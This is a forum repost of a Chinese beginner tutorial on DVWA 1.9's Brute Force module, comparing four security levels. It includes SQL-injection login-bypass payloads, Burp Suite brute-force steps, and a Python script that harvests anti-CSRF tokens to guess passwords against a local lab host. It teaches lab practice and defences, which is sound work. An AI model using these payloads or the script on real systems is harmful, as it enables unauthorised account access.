请选择 进入手机版 | 继续访问电脑版

网络科技

    今日:863| 主题:272066
收藏本版
互联网、科技极客的综合动态。

[其他] 新手指南:DVWA-1.9全级别教程之Brute Force

[复制链接]
妃ざ恃宠而骄 发表于 16-10-16 07:45:22
566 13

立即注册CoLaBug.com会员,免费获得投稿人的专业资料,享用更多功能,玩转个人品牌!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
目前,最新的DVWA已经更新到1.9版本( http://www.dvwa.co.uk/ ),而网上的教程大多停留在旧版本,且没有针对DVWA high级别的教程,因此萌发了一个撰写新手教程的想法,错误的地方还请大家指正。
   DVWA简介

  DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
  DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。
  需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-1-网络科技-验证码,初学者,开发者,文章,暴力

   DVWA的搭建

   Freebuf上的这篇文章《新手指南:手把手教你如何搭建自己的渗透测试环境》( http://www.freebuf.com/sectool/102661.html )已经写得非常好了,在这里就不赘述了。
  本文介绍Brute Force模块的相关内容,后续教程会在之后的文章中给出。
   Brute Force

  Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击。
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-2-网络科技-验证码,初学者,开发者,文章,暴力

   下面将对四种级别的代码进行分析。
   Low

  服务器端核心代码
  1. <?php

  2. if(isset($_GET['Login'])){
  3. //Getusername
  4. $user=$_GET['username'];

  5. //Getpassword
  6. $pass=$_GET['password'];
  7. $pass=md5($pass);

  8. //Checkthedatabase
  9. $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
  10. $result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');

  11. if($result&&mysql_num_rows($result)==1){
  12. //Getusersdetails
  13. $avatar=mysql_result($result,0,"avatar");

  14. //Loginsuccessful
  15. echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
  16. echo"<imgsrc="{$avatar}"/>";
  17. }
  18. else{
  19. //Loginfailed
  20. echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
  21. }

  22. mysql_close();
  23. }

  24. ?>
复制代码
可以看到,服务器只是验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
   漏洞利用
   方法一爆破利用burpsuite即可完成
  第一步抓包
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-3-网络科技-验证码,初学者,开发者,文章,暴力

  第二步,ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容两边加$
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-4-网络科技-验证码,初学者,开发者,文章,暴力

  第三步选中Payloads,载入字典,点击Start attack进行爆破
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-5-网络科技-验证码,初学者,开发者,文章,暴力

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-6-网络科技-验证码,初学者,开发者,文章,暴力

  最后,尝试在爆破结果中找到正确的密码,可以看到password的响应包长度(length)“与众不同”,可推测password为正确密码,手工验证登陆成功。
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-7-网络科技-验证码,初学者,开发者,文章,暴力

   方法二手工sql注入
  1. Username:admin’ or ’1′=’1
  Password:(空)
  注入成功
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-8-网络科技-验证码,初学者,开发者,文章,暴力

  2. Username :admin’ #
  Password :(空)
  注入成功
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-9-网络科技-验证码,初学者,开发者,文章,暴力

   Medium

  服务器端核心代码
  1. <?php

  2. if(isset($_GET['Login'])){
  3. //Sanitiseusernameinput
  4. $user=$_GET['username'];
  5. $user=mysql_real_escape_string($user);

  6. //Sanitisepasswordinput
  7. $pass=$_GET['password'];
  8. $pass=mysql_real_escape_string($pass);
  9. $pass=md5($pass);

  10. //Checkthedatabase
  11. $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
  12. $result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');

  13. if($result&&mysql_num_rows($result)==1){
  14. //Getusersdetails
  15. $avatar=mysql_result($result,0,"avatar");

  16. //Loginsuccessful
  17. echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
  18. echo"<imgsrc="{$avatar}"/>";
  19. }
  20. else{
  21. //Loginfailed
  22. sleep(2);
  23. echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
  24. }

  25. mysql_close();
  26. }

  27. ?>
复制代码
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)实在算不上)。
  具体的mysql_real_escape_string函数绕过问题详见
   http://blog.csdn.net/hornedreaper1988/article/details/43520257
   http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
   漏洞利用
  虽然sql注入不再有效,但依然可以使用Burpsuite进行爆破,与Low级别的爆破方法基本一样,这里就不赘述了。
   High

  服务器端核心代码
  1. <?php

  2. if(isset($_GET['Login'])){
  3. //CheckAnti-CSRFtoken
  4. checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');

  5. //Sanitiseusernameinput
  6. $user=$_GET['username'];
  7. $user=stripslashes($user);
  8. $user=mysql_real_escape_string($user);

  9. //Sanitisepasswordinput
  10. $pass=$_GET['password'];
  11. $pass=stripslashes($pass);
  12. $pass=mysql_real_escape_string($pass);
  13. $pass=md5($pass);

  14. //Checkdatabase
  15. $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
  16. $result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');

  17. if($result&&mysql_num_rows($result)==1){
  18. //Getusersdetails
  19. $avatar=mysql_result($result,0,"avatar");

  20. //Loginsuccessful
  21. echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
  22. echo"<imgsrc="{$avatar}"/>";
  23. }
  24. else{
  25. //Loginfailed
  26. sleep(rand(0,3));
  27. echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
  28. }

  29. mysql_close();
  30. }

  31. //GenerateAnti-CSRFtoken
  32. generateSessionToken();

  33. ?>
复制代码
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-10-网络科技-验证码,初学者,开发者,文章,暴力

  每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-11-网络科技-验证码,初学者,开发者,文章,暴力

  同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
   漏洞利用
  由于加入了Anti-CSRFtoken预防无脑爆破,这里就不推荐用Burpsuite了,还是简单用python写个脚本吧。
  下面是我自己写的一个脚本(python 2.7),用户名为admin,对password参数进行爆破并打印结果,仅供各位参考。
  1. from bs4 import BeautifulSoup
  2. import urllib2
  3. header={        'Host': '192.168.153.130',
  4.                 'Cache-Control': 'max-age=0',
  5.                 'If-None-Match': "307-52156c6a290c0",
  6.                 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
  7.                 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
  8.                 'Accept': '*/*',
  9.                 'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
  10.                 'Accept-Encoding': 'gzip, deflate, sdch',
  11.                 'Accept-Language': 'zh-CN,zh;q=0.8',
  12.                 'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
  13. requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

  14. def get_token(requrl,header):
  15.         req = urllib2.Request(url=requrl,headers=header)
  16.         response = urllib2.urlopen(req)
  17.         print response.getcode(),
  18.         the_page = response.read()
  19.         print len(the_page)
  20.         soup = BeautifulSoup(the_page,"html.parser")
  21.         user_token = soup.form.input.input.input.input["value"] #get the user_token
  22.         return user_token

  23. user_token = get_token(requrl,header)
  24. i=0
  25. for line in open("rkolin.txt"):
  26.         requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
  27.         i = i+1
  28.         print i,'admin',line.strip(),
  29.         user_token = get_token(requrl,header)
  30.         if (i == 10):
  31.                 break
复制代码
get_token的功能是通过python的BeautifulSoup库从html页面中抓取user_token的值,为了方便展示,这里设置只尝试10次。
  运行脚本时的Burpsuite截图
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-12-网络科技-验证码,初学者,开发者,文章,暴力

  打印的结果从第二行开始依次是序号、用户名、密码、http状态码以及返回的页面长度。
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-13-网络科技-验证码,初学者,开发者,文章,暴力

  对比结果看到,密码为password时返回的长度不太一样,手工验证,登录成功,爆破完成。
   Impossible

  服务器端核心代码
      
  1. <?php

  2. if(isset($_POST['Login'])){
  3. //CheckAnti-CSRFtoken
  4. checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');

  5. //Sanitiseusernameinput
  6. $user=$_POST['username'];
  7. $user=stripslashes($user);
  8. $user=mysql_real_escape_string($user);

  9. //Sanitisepasswordinput
  10. $pass=$_POST['password'];
  11. $pass=stripslashes($pass);
  12. $pass=mysql_real_escape_string($pass);
  13. $pass=md5($pass);

  14. //Defaultvalues
  15. $total_failed_login=3;
  16. $lockout_time=15;
  17. $account_locked=false;

  18. //Checkthedatabase(Checkuserinformation)
  19. $data=$db->prepare('SELECTfailed_login,last_loginFROMusersWHEREuser=(:user)LIMIT1;');
  20. $data->bindParam(':user',$user,PDO::PARAM_STR);
  21. $data->execute();
  22. $row=$data->fetch();

  23. //Checktoseeiftheuserhasbeenlockedout.
  24. if(($data->rowCount()==1)&&($row['failed_login']>=$total_failed_login)){
  25. //Userlockedout.Note,usingthismethodwouldallowforuserenumeration!
  26. //echo"<pre><br/>Thisaccounthasbeenlockedduetotoomanyincorrectlogins.</pre>";

  27. //Calculatewhentheuserwouldbeallowedtologinagain
  28. $last_login=$row['last_login'];
  29. $last_login=strtotime($last_login);
  30. $timeout=strtotime("{$last_login}+{$lockout_time}minutes");
  31. $timenow=strtotime("now");

  32. //Checktoseeifenoughtimehaspassed,ifithasn'tlockedtheaccount
  33. if($timenow>$timeout)
  34. $account_locked=true;
  35. }

  36. //Checkthedatabase(ifusernamematchesthepassword)
  37. $data=$db->prepare('SELECT*FROMusersWHEREuser=(:user)ANDpassword=(:password)LIMIT1;');
  38. $data->bindParam(':user',$user,PDO::PARAM_STR);
  39. $data->bindParam(':password',$pass,PDO::PARAM_STR);
  40. $data->execute();
  41. $row=$data->fetch();

  42. //Ifitsavalidlogin...
  43. if(($data->rowCount()==1)&&($account_locked==false)){
  44. //Getusersdetails
  45. $avatar=$row['avatar'];
  46. $failed_login=$row['failed_login'];
  47. $last_login=$row['last_login'];

  48. //Loginsuccessful
  49. echo"<p>Welcometothepasswordprotectedarea<em>{$user}</em></p>";
  50. echo"<imgsrc="{$avatar}"/>";

  51. //Hadtheaccountbeenlockedoutsincelastlogin?
  52. if($failed_login>=$total_failed_login){
  53. echo"<p><em>Warning</em>:Someonemightofbeenbruteforcingyouraccount.</p>";
  54. echo"<p>Numberofloginattempts:<em>{$failed_login}</em>.<br/>Lastloginattemptwasat:<em>${last_login}</em>.</p>";
  55. }

  56. //Resetbadlogincount
  57. $data=$db->prepare('UPDATEusersSETfailed_login="0"WHEREuser=(:user)LIMIT1;');
  58. $data->bindParam(':user',$user,PDO::PARAM_STR);
  59. $data->execute();
  60. }
  61. else{
  62. //Loginfailed
  63. sleep(rand(2,4));

  64. //Givetheusersomefeedback
  65. echo"<pre><br/>Usernameand/orpasswordincorrect.<br/><br/>Alternative,theaccounthasbeenlockedbecauseoftoomanyfailedlogins.<br/>Ifthisisthecase,<em>pleasetryagainin{$lockout_time}minutes</em>.</pre>";

  66. //Updatebadlogincount
  67. $data=$db->prepare('UPDATEusersSETfailed_login=(failed_login+1)WHEREuser=(:user)LIMIT1;');
  68. $data->bindParam(':user',$user,PDO::PARAM_STR);
  69. $data->execute();
  70. }

  71. //Setthelastlogintime
  72. $data=$db->prepare('UPDATEusersSETlast_login=now()WHEREuser=(:user)LIMIT1;');
  73. $data->bindParam(':user',$user,PDO::PARAM_STR);
  74. $data->execute();
  75. }

  76. //GenerateAnti-CSRFtoken
  77. generateSessionToken();

  78. ?>
复制代码
   可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。
  

新手指南:DVWA-1.9全级别教程之Brute Force

新手指南:DVWA-1.9全级别教程之Brute Force-14-网络科技-验证码,初学者,开发者,文章,暴力

  同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
   关于PDO
   http://www.cnblogs.com/pinocchioatbeijing/archive/2012/03/20/2407869.html
  *本文原创作者:lonehand,本文属FreeBuf原创奖励计划,未经许可禁止转载 。



上一篇:Stupid ES6 Tricks
下一篇:Building a Simple Progress Bar for Slick Slider
妳是我的主角 发表于 16-10-16 07:57:19
二楼,和我抢好么?
回复 支持 反对

使用道具 举报

愛到了分開⊙ 发表于 16-10-16 08:19:07
呵呵。。。
回复 支持 反对

使用道具 举报

nunsp 发表于 16-10-16 08:37:42
我只想安静地做个美男子
回复 支持 反对

使用道具 举报

君子傲つ 发表于 16-10-16 08:37:46
伐开心,艰拆装死
回复 支持 反对

使用道具 举报

sssssa 发表于 16-10-16 08:37:50
回妃ざ恃宠而骄帖为“保增长、扩内需、调结构,促民生”作出贡献,顺便赚积分
回复 支持 反对

使用道具 举报

老子就是奇葩 发表于 16-10-16 08:45:57
和你擦肩而过你却不知道是我,因为我把头扭过去了。 
回复 支持 反对

使用道具 举报

董宗国 发表于 16-10-16 11:01:58
加关注!
回复 支持 反对

使用道具 举报

luojialin0315 发表于 16-10-16 21:49:59
边撸边过
回复 支持 反对

使用道具 举报

董莎 发表于 16-10-17 02:40:50
我穿越了
回复 支持 反对

使用道具 举报

*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

我要投稿

推荐阅读


回页顶回复上一篇下一篇回列表
手机版/CoLaBug.com ( 粤ICP备05003221号 | 文网文[2010]257号 )

© 2001-2017 Comsenz Inc. Design: Dean. DiscuzFans.

返回顶部 返回列表